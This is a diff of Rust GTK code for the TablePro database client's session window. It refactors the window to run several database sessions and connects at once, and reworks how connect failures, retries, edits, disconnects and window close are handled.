-        let (child, toasts, shown): (Option<gtk::Widget>, Option<adw::ToastOverlay>, ShownPage) = match &page {
+        let (child, toasts, shown): (Option<gtk::Widget>, Option<adw::ToastOverlay>, ShownPage) = match page {
             SessionPage::Picker => {
                 self.set_title(Some(&crate::i18n::gettext("TablePro")));
                 let picker = imp.picker.get();
@@ -449,33 +573,48 @@ impl SessionWindow {
                     ShownPage::Other,
                 )
             }
-            SessionPage::Connecting { source, .. } => {
+            SessionPage::Connecting(id) => {
+                let name = imp
+                    .connects
+                    .borrow()
+                    .iter()
+                    .find(|pending| pending.id == id)
+                    .map(|pending| source_name(&pending.source))
+                    .unwrap_or_default();
                 let connecting = ConnectingPage::new(app.as_ref());
                 let toasts = connecting.toast_overlay();
                 (
                     Some(connecting.clone().upcast()),
                     Some(toasts),
-                    ShownPage::Connecting(connecting, source_name(source)),
+                    ShownPage::Connecting(connecting, name),
                 )
             }
-            SessionPage::ConnectFailed { source, failure, .. } => {
-                let view = ConnectFailureView::new(failure, source);
-                can_edit = view.can_edit;
-                let failed = ConnectFailedPage::new(&view, &edit_label(failure), failure.reenter, app.as_ref());
-                let toasts = failed.toast_overlay();
-                (Some(failed.clone().upcast()), Some(toasts), ShownPage::Failed(failed))
+            SessionPage::Failed => match imp.failed.borrow().as_ref() {
+                Some(failed) => {
+                    let view = ConnectFailureView::new(&failed.failure, &failed.source);
+                    let page = ConnectFailedPage::new(
+                        &view,
+                        &edit_label(&failed.failure),
+                        failed.failure.reenter,
+                        app.as_ref(),
+                    );
+                    let toasts = page.toast_overlay();
+                    (Some(page.clone().upcast()), Some(toasts), ShownPage::Failed(page))
+                }
+                None => (None, None, ShownPage::Other),
+            },
+            SessionPage::Shell => {
+                let shell = self.shell();
+                (
+                    shell.clone().map(|shell| shell.upcast()),
+                    shell.map(|shell| shell.toast_overlay()),
+                    ShownPage::Other,
+                )
             }
-            SessionPage::Workspace { workspace, .. } => (
-                Some(workspace.clone().upcast()),
-                Some(workspace.toast_overlay()),
-                ShownPage::Other,
-            ),
         };
-        window_actions::sync(self.upcast_ref(), &page, can_edit);
-        if !matches!(page, SessionPage::Picker) {
+        if page != SessionPage::Picker {
             imp.opened_for_file.set(false);
         }
-        let left = imp.page.replace(page);
         imp.page_toasts.replace(toasts);
         self.show_crash_notice();
         // A Cancel or Retry left as the default would take Enter on a
@@ -487,59 +626,130 @@ impl SessionWindow {
             ShownPage::Failed(page) => page.show(),
             ShownPage::Other => {}
         }
-        drop(left);
     }
 
-    /// A connect worked or failed. A late result, from an attempt the
-    /// user cancelled or replaced, is closed rather than adopted.
-    fn on_attempt(
-        &self,
-        generation: tablepro_session::connect::AttemptGeneration,
-        result: Result<Connected, AttemptError>,
-    ) {
-        let imp = self.imp();
-        let current =
-            imp.attempts.accepts(generation) && self.page_is(|page| matches!(page, SessionPage::Connecting { .. }));
-        if !current {
+    /// Each action is enabled where it means something, and the Safe
+    /// Mode levels tick the session in front's.
+    fn sync_actions(&self) {
+        let page = self.page();
+        if let Ok(failed) = self.imp().failed.try_borrow() {
+            let failure = failed.as_ref().filter(|_| page == SessionPage::Failed).map(|failed| {
+                let editable = ConnectFailureView::new(&failed.failure, &failed.source).can_edit;
+                (&failed.failure, editable)
+            });
+            window_actions::sync(self.upcast_ref(), page, failure);
+        }
+        self.show_safe_mode();
+    }
+
+    /// A connect ended. One the window stopped, or started again after
+    /// its file question, is not among its connects any more, and a
+    /// connection it made is closed rather than adopted.
+    fn on_attempt(&self, id: u64, result: Result<Connected, AttemptError>) {
+        let position = self.imp().connects.borrow().iter().position(|pending| pending.id == id);
+        let Some(position) = position else {
             if let Ok(connected) = result {
                 self.discard_pending(connected.pending);
             }
             return;
-        }
-        let SessionPage::Connecting { claim, source } = imp.page.replace(SessionPage::Picker) else {
-            return;
         };
+        if let Err(AttemptError::AskLocation(kind)) = &result {
+            self.ask_about_location(id, kind);
+            return;
+        }
+        let PendingConnect { claim, source, .. } = self.imp().connects.borrow_mut().remove(position);
         match result {
-            Ok(connected) => self.adopt(claim, source, connected),
-            Err(AttemptError::Cancelled) => {
+            Ok(connected) => {
+                // The tree never shows a key both connecting and open.
+                self.sync_tree();
+                self.adopt(claim, source, connected);
+            }
+            Err(AttemptError::Failed(failure)) => self.on_connect_failed(claim, source, failure),
+            // A location question was asked above, so this is a stop.
+            Err(AttemptError::Cancelled | AttemptError::AskLocation(_)) => {
                 let key = claim.key().clone();
                 drop(claim);
-                self.show_page(SessionPage::Picker);
                 self.forget_session(&key);
             }
-            Err(AttemptError::AskLocation(kind)) => {
-                imp.page.replace(SessionPage::Connecting { claim, source });
-                self.ask_about_location(generation, &kind);
-            }
-            // A session restored at launch that no longer opens is not
-            // tried again at the next one; a Retry that works records it.
-            Err(AttemptError::Failed(failure)) => {
-                tracing::warn!(error = %failure.message, "connect failed");
-                let key = claim.key().clone();
-                let missing = match &source {
-                    ConnectSource::Saved(saved) => failure.missing_file.clone().map(|missing| (saved.id, missing)),
-                    _ => None,
-                };
-                self.show_page(SessionPage::ConnectFailed { claim, source, failure });
-                self.forget_session(&key);
-                if let Some((id, missing)) = missing {
-                    self.offer_locate(id, missing);
-                }
+        }
+        self.connects_changed();
+    }
+
+    /// With nothing else to show, the failed page says why and keeps the
+    /// claim for its ways on. Beside a session or another connect, a
+    /// toast says so and its Details say why. A session restored at
+    /// launch that no longer opens is not tried again at the next one; a
+    /// Retry that works records it again.
+    fn on_connect_failed(&self, claim: SessionClaim, source: ConnectSource, failure: ConnectFailure) {
+        tracing::warn!(error = %failure.message, "connect failed");
+        let imp = self.imp();
+        let key = claim.key().clone();
+        self.forget_session(&key);
+        let alone = imp.sessions.borrow().is_empty() && imp.connects.borrow().is_empty();
+        if alone {
+            let missing = match &source {
+                ConnectSource::Saved(saved) => failure.missing_file.clone().map(|missing| (saved.id, missing)),
+                _ => None,
+            };
+            self.show_failure(FailedConnect { claim, source, failure });
+            if let Some((id, missing)) = missing {
+                self.offer_locate(id, missing);
             }
+            return;
+        }
+        drop(claim);
+        let name = source_name(&source);
+        if let Some(tree) = self.shell().and_then(|shell| shell.tree()) {
+            tree.set_failure(&key, Some((&name, failure.message.as_str())));
+        }
+        imp.failures.borrow_mut().insert(key.clone(), (source, failure));
+        // The toast goes to the page that shows from here on, which may
+        // be another connect's progress.
+        self.connects_changed();
+        self.toast_failure(&key, &name);
+    }
+
+    /// Bring the session under `key` to the front: its last tab, or a new
+    /// SQL editor when it has none.
+    fn show_session(&self, key: &SessionKey) {
+        if let (Some(shell), Some(workspace)) = (self.shell(), self.session_workspace(key)) {
+            shell.show_session(&workspace);
         }
     }
 
-    /// Start the session that connected and build its workspace.
+    fn deliver_to(&self, key: &SessionKey, message: WorkspaceInput) {
+        if let Some(input) = self.session_workspace(key).and_then(|workspace| workspace.sender()) {
+            input.deliver(message);
+        }
+    }
+
+    /// A tab belongs to its session, which only its own window holds: one
+    /// dropped here goes back to the end of that window's tab bar.
+    fn on_return_foreign_tab(&self, page: &adw::TabPage) {
+        let (Some(shell), Some(app)) = (self.shell(), self.application()) else {
+            return;
+        };
+        let view = shell.tab_view();
+        if !(0..view.n_pages()).any(|position| &view.nth_page(position) == page) {
+            return;
+        }
+        let owner = app
+            .windows()
+            .into_iter()
+            .filter_map(|window| window.downcast::<SessionWindow>().ok())
+            .filter(|window| window != self)
+            .filter_map(|window| window.shell())
+            .find(|other| other.owner_of(page).is_some());
+        let Some(owner) = owner else {
+            tracing::debug!("a tab no other window's session owns was dropped here");
+            return;
+        };
+        let target = owner.tab_view();
+        view.transfer_page(page, &target, target.n_pages());
+    }
+
+    /// Start the session that connected and build its workspace in the
+    /// window's shell, which the first session builds.
     fn adopt(&self, claim: SessionClaim, source: ConnectSource, connected: Connected) {
         let Connected {
             pending,
@@ -547,7 +757,7 @@ impl SessionWindow {
             warnings,
             session_only,
         } = connected;
-        let (Some(state), Some(guards)) = (self.state(), self.close_guards()) else {
+        let (Some(state), Some(guards), Some(input)) = (self.state(), self.close_guards(), self.input()) else {
             self.discard_pending(pending);
             return;
         };
@@ -564,6 +774,7 @@ impl SessionWindow {
         {
             tracing::warn!(%error, "could not remember the connect dialog driver");
         }
+        let shell = self.shell().unwrap_or_else(|| self.new_shell(state, &input));
         let workspace = Workspace::new(WorkspaceInit {
             key: key.clone(),
             session: session.clone(),
@@ -571,15 +782,18 @@ impl SessionWindow {
             context: state.context.clone(),
             window: self.clone().upcast(),
             close_guards: guards.clone(),
+            shell: shell.clone(),
         });
-        self.connect_workspace(&workspace);
-        self.show_page(SessionPage::Workspace {
+        self.connect_workspace(&workspace, &input);
+        self.imp().sessions.borrow_mut().push(OpenSession {
             claim,
             session,
             workspace: workspace.clone(),
         });
+        self.render();
+        shell.add_session(&workspace);
         workspace.start();
-        drop(self.imp().dialog.take());
+        self.sync_actions();
         for warning in warnings {
             self.show_toast(&warning);
         }
@@ -588,18 +802,12 @@ impl SessionWindow {
         }
     }
 
-    fn connect_workspace(&self, workspace: &Workspace) {
-        let Some(input) = self.input() else {
-            return;
-        };
+    fn connect_workspace(&self, workspace: &Workspace, input: &InputSender<SessionWindowInput>) {
         let dirty = input.clone();
-        workspace.connect_dirty_changed(move |_, value| dirty.deliver(SessionWindowInput::DirtyChanged(value)));
+        workspace.connect_dirty_changed(move |_, _| dirty.deliver(SessionWindowInput::DirtyChanged));
         let saves = input.clone();
-        workspace.connect_saves_in_flight_changed(move |_, count| {
-            saves.deliver(SessionWindowInput::SavesInFlightChanged(count));
-        });
-        self.follow_workspace_tabs(workspace, &input);
-        workspace.connect_title_changed(move |_, title| input.deliver(SessionWindowInput::TitleChanged(title)));
+        workspace.connect_saves_in_flight_changed(move |_, _| saves.deliver(SessionWindowInput::SavesInFlightChanged));
+        self.follow_workspace_tabs(workspace, input);
     }
 
     fn discard_pending(&self, pending: PendingSession) {
@@ -612,13 +820,13 @@ impl SessionWindow {
     /// same database brings the first forward instead of connecting.
     fn claim(&self, key: SessionKey) -> Option<SessionClaim> {
         let state = self.state()?;
-        match state.context.sessions.claim(key, self.id()) {
+        match state.context.sessions.claim(key.clone(), self.id()) {
             Ok(claim) => Some(claim),
             Err(ClaimError::AlreadyOpen { window_id }) => {
                 // A window that stayed to say the owner could not be
                 // shown is the user's picker from then on.
                 let opened_for_file = self.imp().opened_for_file.replace(false);
-                if self.present_owner(window_id) && opened_for_file {
+                if self.present_owner(window_id, &key) && opened_for_file {
                     self.close();
                 }
                 None
@@ -628,8 +836,10 @@ impl SessionWindow {
 
     /// False when the owner could not be brought forward, and this
     /// window says so instead.
-    fn present_owner(&self, window_id: u32) -> bool {
-        let presented = self.state().is_some_and(|state| state.host.present_window(window_id));
+    fn present_owner(&self, window_id: u32, key: &SessionKey) -> bool {
+        let presented = self
+            .state()
+            .is_some_and(|state| state.host.present_session(window_id, key));
         if !presented {
             self.show_toast(&crate::i18n::gettext(
                 "This connection is already open in another window.",
@@ -638,28 +848,54 @@ impl SessionWindow {
         presented
     }
 
-    fn on_open_saved(&self, saved: SavedConnection) {
-        let Some(state) = self.state() else {
-            return;
-        };
-        // A picker another window deleted the entry under still lists it.
-        let Some(saved) = self.saved_as_stored(&saved) else {
-            self.show_toast(&crate::i18n::gettext("The connection was deleted."));
-            return;
-        };
-        if !self.page_is(|page| matches!(page, SessionPage::Picker)) {
-            // This window has its session; another one opens this.
-            let key = SessionKey::Saved(saved.id);
-            if let Some(owner) = state.context.sessions.window_for(&key)
-                && state.host.present_window(owner)
-            {
-                return;
+    /// The claim for a connect to `key`, unless the window shows that
+    /// session already, which comes forward, or connects it already. A
+    /// failed page about another key goes first; one about this key hands
+    /// its claim over, since the dialog may be editing that connection.
+    fn claim_for(&self, key: &SessionKey) -> Option<SessionClaim> {
+        if self.holds_session(key) {
+            self.show_session(key);
+            return None;
+        }
+        if self.is_connecting(key) {
+            return None;
+        }
+        match self.imp().failed.take() {
+            Some(failed) if failed.claim.key() == key => Some(failed.claim),
+            failed => {
+                let left = failed.is_some();
+                drop(failed);
+                let claim = self.claim(key.clone());
+                if claim.is_none() && left {
+                    self.render();
+                }
+                claim
             }
-            state.host.open_window(WindowLaunch::Connect(Box::new(saved)));
-            return;
         }
-        if let Some(claim) = self.claim(SessionKey::Saved(saved.id)) {
-            self.begin_connect(claim, ConnectSource::Saved(Box::new(saved)));
+    }
+
+    /// Every connect starts here, whatever asked for it: the picker, the
+    /// tree, the connect dialog, a file, a restore, a Retry or MCP.
+    fn connect(&self, source: ConnectSource, demand: CredentialDemand) {
+        if let Some(claim) = self.claim_for(&source_key(&source)) {
+            self.start_connect(claim, source, None, demand);
+        }
+    }
+
+    /// Connect with the failed page's claim when there is one, else as
+    /// any connect does.
+    fn connect_with(&self, claim: Option<SessionClaim>, source: ConnectSource, demand: CredentialDemand) {
+        match claim {
+            Some(claim) => self.start_connect(claim, source, None, demand),
+            None => self.connect(source, demand),
+        }
+    }
+
+    fn on_open_saved(&self, saved: SavedConnection) {
+        // A picker another window deleted the entry under still lists it.
+        match self.saved_as_stored(&saved) {
+            Some(saved) => self.connect(ConnectSource::Saved(Box::new(saved)), CredentialDemand::default()),
+            None => self.show_toast(&crate::i18n::gettext("The connection was deleted.")),
         }
     }
 
@@ -669,10 +905,6 @@ impl SessionWindow {
         let Some(state) = self.state() else {
             return;
         };
-        if !self.page_is(|page| matches!(page, SessionPage::Picker)) {
-            state.host.open_window(WindowLaunch::OpenFile(file));
-            return;
-        }
         self.imp().opening_file.set(true);
         let path = file.path();
         let uri = file.uri().to_string();
@@ -695,19 +927,13 @@ impl SessionWindow {
         });
     }
 
+    /// A file restored under a key it no longer resolves to would be
+    /// reopened under both, so that key is forgotten.
     fn on_file_resolved(&self, resolved: ResolvedFile) {
         self.imp().opening_file.set(false);
         let ResolvedFile { uri, target } = resolved;
-        self.end_restore(&SessionKey::File(uri.clone()));
-        if !self.page_is(|page| matches!(page, SessionPage::Picker)) {
-            if let Some(state) = self.state() {
-                state.host.open_window(WindowLaunch::OpenFile(gio::File::for_uri(&uri)));
-            }
-            return;
-        }
-        // A file restored under a key it no longer resolves to would be
-        // reopened under both.
         let arrived = SessionKey::File(uri.clone());
+        self.end_restore(&arrived);
         match target {
             Ok(FileTarget::Saved(saved)) => {
                 self.forget_unclaimed(&arrived);
@@ -717,70 +943,49 @@ impl SessionWindow {
                 if identity.uri != uri {
                     self.forget_unclaimed(&arrived);
                 }
-                if let Some(claim) = self.claim(SessionKey::File(identity.uri.clone())) {
-                    self.begin_connect(claim, ConnectSource::File(identity));
-                }
+                self.connect(ConnectSource::File(identity), CredentialDemand::default());
             }
             Err(error) => {
                 tracing::warn!(%error, %uri, "could not open the file");
                 self.forget_unclaimed(&arrived);
-                let Some(claim) = self.claim(SessionKey::File(uri.clone())) else {
+                let message = file_failure_message(&uri, &error);
+                if !matches!(self.page(), SessionPage::Picker | SessionPage::Failed) {
+                    self.show_toast(&message);
+                    return;
+                }
+                let Some(claim) = self.claim_for(&arrived) else {
                     return;
                 };
-                let failure = ConnectFailure::new(file_failure_message(&uri, &error));
-                self.show_page(SessionPage::ConnectFailed {
+                self.show_failure(FailedConnect {
                     claim,
                     source: ConnectSource::File(FileIdentity::new(None, uri)),
-                    failure,
+                    failure: ConnectFailure::new(message),
                 });
             }
         }
     }
 
+    /// The dialog may be editing a connection the window shows or already
+    /// connects, or one open in another window: its edits are kept for
+    /// that connection's next connect.
     fn on_connect_from_dialog(&self, submission: ConnectSubmission) {
         let ConnectSubmission { request, pending_save } = submission;
-        match &*self.imp().page.borrow() {
-            SessionPage::Picker | SessionPage::ConnectFailed { .. } => {}
-            SessionPage::Connecting { .. } | SessionPage::Workspace { .. } => {
-                tracing::warn!("a connect from the dialog reached a window with a session");
-                return;
-            }
-        }
-        // A failed connect's claim goes first: the dialog may be editing
-        // that same connection.
-        self.show_page(SessionPage::Picker);
         let key = SessionKey::Saved(pending_save.connection.id);
-        let Some(state) = self.state() else {
-            return;
-        };
-        match state.context.sessions.claim(key.clone(), self.id()) {
-            Ok(claim) => self.begin_connect(
+        match self.claim_for(&key) {
+            Some(claim) => self.start_connect(
                 claim,
                 ConnectSource::Intent(Box::new(ConnectIntent {
                     key,
                     request,
                     pending_save: Some(pending_save),
                 })),
+                None,
+                CredentialDemand::default(),
             ),
-            Err(ClaimError::AlreadyOpen { window_id }) => {
-                // The edits are kept for the next connect; the session
-                // open in the other window goes on as it was.
-                self.persist_pending_save(pending_save);
-                self.present_owner(window_id);
-            }
+            None => self.persist_pending_save(pending_save),
         }
     }
 
-    fn begin_connect(&self, claim: SessionClaim, source: ConnectSource) {
-        self.start_connect(claim, source, None, CredentialDemand::default());
-    }
-
-    fn begin_connect_with(&self, claim: SessionClaim, source: ConnectSource, demand: CredentialDemand) {
-        self.start_connect(claim, source, None, demand);
-    }
-
-    /// `answer` is how the user chose to open a database file on a
-    /// filesystem whose locking the engines cannot trust, once asked.
     fn start_connect(
         &self,
         claim: SessionClaim,
@@ -788,15 +993,113 @@ impl SessionWindow {
         answer: Option<bool>,
         demand: CredentialDemand,
     ) {
+        if let Some(pending) = self.spawn_connect(claim, source, answer, demand) {
+            self.imp().connects.borrow_mut().push(pending);
+        }
+        self.connects_changed();
+    }
+
+    /// Start connecting `source` under a new id, and give back what the
+    /// window keeps of it. `answer` is how the user chose to open a
+    /// database file on a filesystem whose locking the engines cannot
+    /// trust, once asked. The key's last failure goes: this connect
+    /// speaks for it now.
+    fn spawn_connect(
+        &self,
+        claim: SessionClaim,
+        source: ConnectSource,
+        answer: Option<bool>,
+        demand: CredentialDemand,
+    ) -> Option<PendingConnect> {
+        let state = self.state()?;
+        let imp = self.imp();
+        let id = imp.next_connect.get().wrapping_add(1);
+        imp.next_connect.set(id);
+        let key = claim.key();
+        if imp.failures.borrow_mut().remove(key).is_some()
+            && let Some(tree) = self.shell().and_then(|shell| shell.tree())
+        {
+            tree.set_failure(key, None);
+        }
+        let cancel = CancellationToken::new();
+        let check = self.file_check(&source, answer);
+        let work = connect_work(state, &source, check, demand, cancel.clone());
+        self.deliver_attempt(work, id);
+        Some(PendingConnect {
+            id,
+            claim,
+            source,
+            cancel,
+            demand,
+        })
+    }
+
+    /// The tree and the page follow the window's connects.
+    fn connects_changed(&self) {
+        self.sync_tree();
+        self.render();
+    }
+
+    /// The tree shows a row connecting for each connect the window runs,
+    /// and sets none itself.
+    fn sync_tree(&self) {
+        let Some(shell) = self.shell() else {
+            return;
+        };
+        let connects: Vec<(SessionKey, String)> = self
+            .imp()
+            .connects
+            .borrow()
+            .iter()
+            .map(|pending| (pending.claim.key().clone(), source_name(&pending.source)))
+            .collect();
+        if let Some(tree) = shell.tree() {
+            tree.set_connects(&connects);
+        }
+    }
+
+    /// Stop the connect for `key`. A result that still lands finds none
+    /// waiting for it and is closed.
+    fn stop_connecting(&self, key: &SessionKey) {
+        let stopped = {
+            let mut connects = self.imp().connects.borrow_mut();
+            connects
+                .iter()
+                .position(|pending| pending.claim.key() == key)
+                .map(|position| connects.remove(position))
+        };
+        if let Some(stopped) = stopped {
+            self.drop_connect(stopped);
+            self.connects_changed();
+        }
+    }
+
+    /// Stop every connect the window runs.
+    fn stop_connects(&self) {
+        let stopped = match self.imp().connects.try_borrow_mut() {
+            Ok(mut connects) => std::mem::take(&mut *connects),
+            Err(_) => {
+                tracing::warn!("the window's connects were stopped while they were read");
+                return;
+            }
+        };
+        for pending in stopped {
+            self.drop_connect(pending);
+        }
+    }
+
+    fn drop_connect(&self, pending: PendingConnect) {
+        let PendingConnect { claim, cancel, .. } = pending;
+        cancel.cancel();
+        let key = claim.key().clone();
+        drop(claim);
+        self.forget_session(&key);
+    }
+
+    fn deliver_attempt(&self, work: BoxFuture<'static, Result<Connected, AttemptError>>, id: u64) {
         let Some(state) = self.state() else {
             return;
         };
-        let check = self.file_check(&source, answer);
-        let ticket = self.imp().attempts.begin();
-        let generation = ticket.generation();
-        let cancel = ticket.cancel().clone();
-        let work = connect_work(state, &source, check, demand, cancel);
-        self.show_page(SessionPage::Connecting { claim, source });
         let input = self.input();
         let (tasks, hold) = (state.services.tasks.clone(), state.services.hold());
         crate::runtime::spawn_and_deliver(&state.services.tasks, work, move |outcome| {
@@ -805,10 +1108,10 @@ impl SessionWindow {
                     crate::ui::error_text::task_failure_message(&failure),
                 )))
             });
-            let attempt = SessionWindowCommand::Attempt { generation, result };
             let Some(input) = input else {
                 return;
             };
+            let attempt = SessionWindowCommand::Attempt { id, result };
             if let Err(unsent) = input.send(SessionWindowInput::Command(Box::new(attempt)))
                 && let Some(pending) = unadopted(unsent.0)
             {
@@ -817,86 +1120,158 @@ impl SessionWindow {
         });
     }
 
-    /// Stop the connect in progress, or leave a failed one, for the
-    /// picker.
+    /// The connecting page's Cancel stops every connect, since the window
+    /// has nothing else; the failed page's Choose Connection leaves it.
     fn on_cancel_connect(&self) {
-        if self.page_is(|page| matches!(page, SessionPage::Connecting { .. })) {
-            stop_connecting(&self.imp().attempts);
+        match self.page() {
+            SessionPage::Connecting(_) => self.stop_connects(),
+            SessionPage::Failed => drop(self.imp().failed.take()),
+            SessionPage::Picker | SessionPage::Shell => return,
         }
-        if self.page_is(|page| matches!(page, SessionPage::Connecting { .. } | SessionPage::ConnectFailed { .. })) {
-            let key = self.imp().page.borrow().key().cloned();
-            self.show_page(SessionPage::Picker);
-            if let Some(key) = key {
-                self.forget_session(&key);
-            }
+        self.connects_changed();
+    }
+
+    /// The key the failed page is about.
+    fn failed_key(&self) -> Option<SessionKey> {
+        self.imp()
+            .failed
+            .borrow()
+            .as_ref()
+            .map(|failed| failed.claim.key().clone())
+    }
+
+    /// Read the last failure for `key`: the failed page's, or one beside
+    /// the window's sessions.
+    pub(super) fn with_failure<R>(
+        &self,
+        key: &SessionKey,
+        read: impl FnOnce(&ConnectSource, &ConnectFailure) -> R,
+    ) -> Option<R> {
+        let imp = self.imp();
+        if let Some(failed) = imp.failed.borrow().as_ref().filter(|failed| failed.claim.key() == key) {
+            return Some(read(&failed.source, &failed.failure));
         }
+        imp.failures
+            .borrow()
+            .get(key)
+            .map(|(source, failure)| read(source, failure))
     }
 
-    fn on_retry_connect(&self) {
+    /// Take the last failure for `key` to act on it, with the failed
+    /// page's claim when it is the page's.
+    pub(super) fn take_failure(
+        &self,
+        key: &SessionKey,
+    ) -> Option<(Option<SessionClaim>, ConnectSource, ConnectFailure)> {
         let imp = self.imp();
-        if !self.page_is(|page| matches!(page, SessionPage::ConnectFailed { .. })) {
-            return;
+        let page = imp.failed.borrow_mut().take_if(|failed| failed.claim.key() == key);
+        if let Some(FailedConnect { claim, source, failure }) = page {
+            return Some((Some(claim), source, failure));
         }
-        let SessionPage::ConnectFailed { claim, source, .. } = imp.page.replace(SessionPage::Picker) else {
-            return;
-        };
-        match source {
-            // The file is resolved again, since it may have moved.
-            ConnectSource::File(identity) => {
-                drop(claim);
-                self.show_page(SessionPage::Picker);
-                self.on_open_file(gio::File::for_uri(&identity.uri));
-            }
-            ConnectSource::Saved(saved) => self.reconnect_saved(claim, *saved, CredentialDemand::default()),
-            source => self.begin_connect(claim, source),
+        let (source, failure) = imp.failures.borrow_mut().remove(key)?;
+        if let Some(tree) = self.shell().and_then(|shell| shell.tree()) {
+            tree.set_failure(key, None);
         }
+        Some((None, source, failure))
     }
 
-    /// Connect a failed saved connection again, as it is saved now: the
-    /// entry may have been edited or deleted in another window since.
-    fn reconnect_saved(&self, claim: SessionClaim, saved: SavedConnection, demand: CredentialDemand) {
-        match self.saved_as_stored(&saved) {
-            Some(current) => self.begin_connect_with(claim, ConnectSource::Saved(Box::new(current)), demand),
-            None => {
+    /// Drop the last failure for `key` beside the window's sessions, and
+    /// the tree's row for it when no saved connection names it.
+    fn forget_failure(&self, key: &SessionKey) {
+        if self.imp().failures.borrow_mut().remove(key).is_some()
+            && let Some(tree) = self.shell().and_then(|shell| shell.tree())
+        {
+            tree.set_failure(key, None);
+        }
+    }
+
+    /// Connect again from where the failed connect came from, reading
+    /// the keyring again.
+    fn on_retry_connect(&self, key: &SessionKey) {
+        if let Some((claim, source, _)) = self.take_failure(key) {
+            self.reconnect(claim, source, CredentialDemand::default());
+        }
+    }
+
+    /// Connect `source` again as it is now: a file is resolved again,
+    /// since it may have moved, and a saved connection read as saved now,
+    /// since another window may have edited or deleted it.
+    fn reconnect(&self, claim: Option<SessionClaim>, source: ConnectSource, demand: CredentialDemand) {
+        match source {
+            ConnectSource::File(identity) => {
                 drop(claim);
-                self.show_page(SessionPage::Picker);
-                self.show_toast(&crate::i18n::gettext("The connection was deleted."));
+                self.render();
+                self.on_open_file(gio::File::for_uri(&identity.uri));
             }
+            ConnectSource::Saved(saved) => match self.saved_as_stored(&saved) {
+                Some(current) => self.connect_with(claim, ConnectSource::Saved(Box::new(current)), demand),
+                None => {
+                    drop(claim);
+                    self.render();
+                    self.show_toast(&crate::i18n::gettext("The connection was deleted."));
+                }
+            },
+            source => self.connect_with(claim, source, demand),
         }
     }
 
-    /// The failed page's Edit Connection. A saved connection opens as an
-    /// Edit of the entry as saved now, whose Save connects again; a new
-    /// one reopens the connect dialog on what was typed.
-    fn on_edit_connection(&self) {
-        let (saved, prefill, focus) = match &*self.imp().page.borrow() {
-            SessionPage::ConnectFailed { source, failure, .. } => (
+    /// Edit Connection for a failed connect. A saved connection opens as
+    /// an Edit of the entry as saved now, whose Save connects again; a
+    /// new one reopens the connect dialog on what was typed.
+    fn on_edit_connection(&self, key: &SessionKey) {
+        let edit = self.with_failure(key, |source, failure| {
+            (
                 match source {
                     ConnectSource::Saved(saved) => Some((**saved).clone()),
                     _ => None,
                 },
                 connections::prefill_for(source),
                 failure.remedy.map(crate::ui::connect_dialog::remedy_field),
-            ),
-            _ => return,
+            )
+        });
+        let Some((saved, prefill, focus)) = edit else {
+            return;
         };
         match (saved, prefill) {
             (Some(saved), _) => match self.saved_as_stored(&saved) {
                 Some(current) => self.present_connect_dialog(ConnectDialogMode::Edit(Box::new(current)), None, focus),
                 None => self.show_toast(&crate::i18n::gettext("The connection was deleted.")),
             },
-            (None, Some(prefill)) => self.present_connect_dialog(ConnectDialogMode::Create, Some(prefill), focus),
+            (None, Some(prefill)) => {
+                // What was typed becomes a new connection, under another
+                // id, so this failure is left with nothing to try again.
+                self.forget_failure(key);
+                self.present_connect_dialog(ConnectDialogMode::Create, Some(prefill), focus);
+            }
             (None, None) => {}
         }
     }
 
-    fn on_disconnect(&self) {
-        let (Some(handle), Some(guards)) = (self.workspace_handle(), self.close_guards()) else {
+    fn on_disconnect_front(&self) {
+        if let Some((key, _)) = self.front_session() {
+            self.on_disconnect(key);
+        }
+    }
+
+    fn on_session_teardown_approved(&self, key: &SessionKey) {
+        if self.tear_down_session(key) {
+            tracing::info!("disconnected");
+        }
+    }
+
+    /// Close the session under `key` through its own prompts, then tear
+    /// it down. The window's other sessions and connects go on.
+    fn on_disconnect(&self, key: SessionKey) {
+        let Some(workspace) = self.session_workspace(&key) else {
+            return;
+        };
+        let (Some(handle), Some(guards)) = (workspace.prompt_handle(), self.close_guards()) else {
             return;
         };
+        let approved = move || SessionWindowInput::SessionTeardownApproved(key.clone());
         guards.begin_teardown();
         if guards.may_tear_down(&handle) {
-            self.send(SessionWindowInput::TeardownApproved);
+            self.send(approved());
             return;
         }
         let input = self.input();
@@ -904,20 +1279,46 @@ impl SessionWindow {
             if decision == CloseDecision::Approved
                 && let Some(input) = input
             {
-                input.deliver(SessionWindowInput::TeardownApproved);
+                input.deliver(approved());
             }
         });
     }
 
-    /// Ctrl+W: the workspace closes its current tab, and with no
-    /// workspace the window closes, through its close prompts.
+    /// Ctrl+W: the tab on screen closes through its session's prompts,
+    /// and with no tab on screen the window closes through its own.
     fn on_close_current(&self) {
-        match self.workspace().and_then(|workspace| workspace.input()) {
+        let shown = self
+            .shell()
+            .is_some_and(|shell| shell.tab_view().selected_page().is_some());
+        match self
+            .workspace()
+            .filter(|_| shown)
+            .and_then(|workspace| workspace.sender())
+        {
             Some(input) => input.deliver(WorkspaceInput::CloseActiveWorkspaceTab),
             None => self.close(),
         }
     }
 
+    /// The window closes through one pass of the close prompts over every
+    /// session: one Save Changes for all of them, and Cancel keeps them
+    /// all.
+    fn close_guards_for_window(&self) -> Rc<CloseGuards> {
+        let guards = CloseGuards::new();
+        let window = self.downgrade();
+        guards.connect_window(
+            self,
+            move || {
+                window
+                    .upgrade()
+                    .map(|window| window.workspace_handles())
+                    .unwrap_or_default()
+            },
+            SessionWindow::on_close_approved,
+        );
+        guards
+    }
+
     /// The close prompts approved the window's close, which goes ahead
     /// once this returns: what it holds is written and closed first.
     fn on_close_approved(&self) {
@@ -927,26 +1328,19 @@ impl SessionWindow {
         self.release_session();
     }
 
-    /// Close the session the window shows, or stop the connect it runs.
+    /// Close every session the window holds, stop every connect it runs
+    /// and let a failed connect's claim go.
     fn release_session(&self) {
+        let imp = self.imp();
         self.abandon_restore();
-        if self.tear_down() {
-            return;
-        }
-        if self.page_is(|page| matches!(page, SessionPage::Connecting { .. })) {
-            stop_connecting(&self.imp().attempts);
+        self.stop_connects();
+        self.tear_down();
+        match imp.failed.try_borrow_mut() {
+            Ok(mut failed) => drop(failed.take()),
+            Err(_) => tracing::warn!("the window closed while its failed connect was read"),
         }
-        let left = match self.imp().page.try_borrow_mut() {
-            Ok(mut page) => std::mem::take(&mut *page),
-            Err(_) => {
-                tracing::warn!("the window closed while its page was in use");
-                return;
-            }
-        };
-        let key = left.key().cloned();
-        drop(left);
-        if let Some(key) = key {
-            self.forget_session(&key);
+        if let Ok(mut failures) = imp.failures.try_borrow_mut() {
+            failures.clear();
         }
     }
 
@@ -960,7 +1354,7 @@ impl SessionWindow {
 
     #[cfg(test)]
